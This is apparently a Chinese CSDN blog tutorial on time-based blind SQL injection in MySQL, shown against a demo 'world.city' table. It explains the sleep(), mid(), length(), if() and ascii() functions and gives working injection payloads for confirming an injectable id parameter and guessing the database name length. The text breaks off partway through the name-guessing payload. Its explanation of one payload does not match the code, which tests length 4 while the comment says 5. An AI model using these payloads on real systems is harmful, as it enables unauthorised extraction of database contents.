基于时间差SQL盲注

本文探讨了时间盲注的概念,介绍了利用sleep()函数进行延迟测试的方法,以及如何通过时间差来探测SQL注入点,进而实现数据库、表、列及字段的爆破。详细阐述了这一过程中的关键步骤和技术要点。
摘要由CSDN通过智能技术生成
  1. 说明

    目标数据库类型: MySQL
    数据库:world
    表:city
    列:ID Name CountryCode District Population
    
  2. 时间盲注时,涉及的函数

    sleep(s)
    	SQL语句暂停执行时间s秒
    mid(s,n,len)
    	从字符串 s 的 n 位置截取长度为 len 的子字符串
    length(s)
    	返回字符串 s 的字符数
    if(expr,v1,v2)
    	如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2。
    substr(s,n,len)
    	从字符串 s 的 n 位置截取长度为 len 的子字符串
    ascii(s)
    	返回字符串的第一个字符的 ASCII 码
    limit
    	强制 SELECT 语句返回指定的记录数
    database()
    	当前使用的数据库
    
  3. 注入点

    传递参数中加入sleep(10),看一下页面返回是不是有延时。
    不详细说怎么判断注入点了!

    我这里注入点为id
    正常SQL语句为 SELECT * FROM city WHERE `id`=

  4. 判断注入点

    (select * from(select sleep(12)union/ select 1)a)
    

爆当前用户、数据库版本,我省掉了

  1. 爆数据库

    猜数据库长度
    		(if((length(database())=4),sleep(5),0))
    		逻辑:
    				如果数据库长度为5,就执行sleep(5)
    猜数据库名
    		sleep(if((mid(database(),1,1)=
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值